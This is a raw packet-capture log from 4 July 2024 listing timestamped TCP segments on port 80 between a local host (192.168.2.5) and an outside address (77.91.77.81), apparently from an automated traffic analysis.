Jul 4, 2024 22:21:09.797169924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797180891 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797193050 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797215939 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797247887 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797260046 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797269106 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797278881 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797292948 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797308922 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797425032 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797440052 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797449112 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797460079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797473907 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797477961 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797499895 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797511101 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797607899 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797619104 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797656059 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797688007 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797699928 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797713041 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797730923 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797743082 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797753096 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797763109 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797769070 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797775030 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.797795057 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.797820091 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798007011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798017979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798027992 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798038006 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798044920 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798051119 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798062086 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798072100 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798078060 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798096895 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798111916 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798253059 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798264980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798299074 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798408031 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798424959 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798434019 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798444986 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798455000 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798455954 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798466921 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798477888 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798480034 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798489094 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798501015 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798506975 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798512936 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798518896 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798549891 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798566103 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798847914 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798858881 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798871994 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798885107 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798894882 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798904896 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798904896 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798918009 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798923016 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798930883 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.798938990 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798962116 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.798989058 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.820936918 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.820956945 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.820969105 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821002960 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821021080 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821047068 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821058035 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821067095 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821089983 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821110964 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821122885 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821166039 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821213961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821233034 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821243048 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821254015 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821257114 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821274042 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821297884 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821332932 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821374893 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821393967 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821432114 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.821455956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.821497917 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.859915972 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.859927893 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.859937906 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.859967947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.859997034 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860028982 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860039949 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860049009 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860058069 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860127926 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860157967 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860157967 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860157967 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860172033 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860176086 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860186100 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860215902 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860275984 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860285997 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860296011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860306025 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860321999 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860335112 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860368013 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860405922 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860415936 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860460043 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860496044 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860506058 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860516071 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860538006 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860552073 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860630989 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860641956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860651970 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860678911 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860703945 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860785961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860796928 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860805988 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860816002 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860826015 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860836983 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860840082 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860848904 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.860868931 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.860888004 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861076117 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861085892 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861095905 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861105919 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861115932 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861121893 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861126900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861140013 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861145020 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861155987 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861159086 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861191988 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861356020 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861377954 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861388922 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861403942 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861433029 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861505032 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861516953 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861526012 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.861555099 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.861567974 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886560917 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886596918 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886605978 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886621952 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886632919 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886729002 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886739969 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886740923 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886740923 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886765957 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886791945 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886800051 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886826038 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886837959 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886837959 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886862040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886879921 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886887074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886904001 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.886930943 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886943102 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.886990070 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887001038 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887010098 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887037992 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887058973 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887135029 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887145996 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887156010 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887182951 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887206078 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887207031 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887247086 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887271881 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887283087 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887320995 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887350082 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887360096 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887394905 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887415886 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887425900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887465000 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887533903 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887546062 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887554884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887583017 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887594938 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887624025 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887634993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887644053 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887670040 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887692928 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887851000 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887861967 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887871027 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887881994 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887892962 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887901068 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887903929 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887918949 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.887933969 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.887948990 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888087034 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888097048 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888107061 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888115883 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888137102 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888158083 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888187885 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888197899 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888235092 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888235092 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888247967 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888273954 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888300896 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888478041 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888493061 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888504028 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888514042 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888520956 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888525963 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888537884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888545036 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888549089 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888560057 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888570070 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888578892 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888597012 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888616085 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888783932 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888794899 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888803959 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.888832092 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.888854980 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.910933018 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.910942078 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.910952091 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.910986900 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911003113 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911014080 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911025047 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911165953 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911184072 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911195040 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911241055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911241055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911241055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911241055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911241055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911241055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911267042 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911277056 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911288023 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911295891 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911319971 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911323071 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911345959 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911367893 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911380053 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911390066 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911434889 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.911442041 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.911478996 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953063011 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953079939 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953192949 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953205109 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953213930 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953227043 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953243017 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953265905 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953391075 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953402042 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953412056 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953422070 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953437090 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953466892 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953560114 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953569889 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953579903 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953589916 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953598976 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953603983 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953609943 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953638077 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953653097 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953708887 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953718901 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953752041 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953768015 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953849077 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953860044 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953869104 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953898907 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.953988075 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.953998089 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954008102 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954027891 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954061985 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954180002 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954190016 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954200983 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:09.954227924 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:09.954240084 CEST	49722	80	192.168.2.5	77.91.77.81
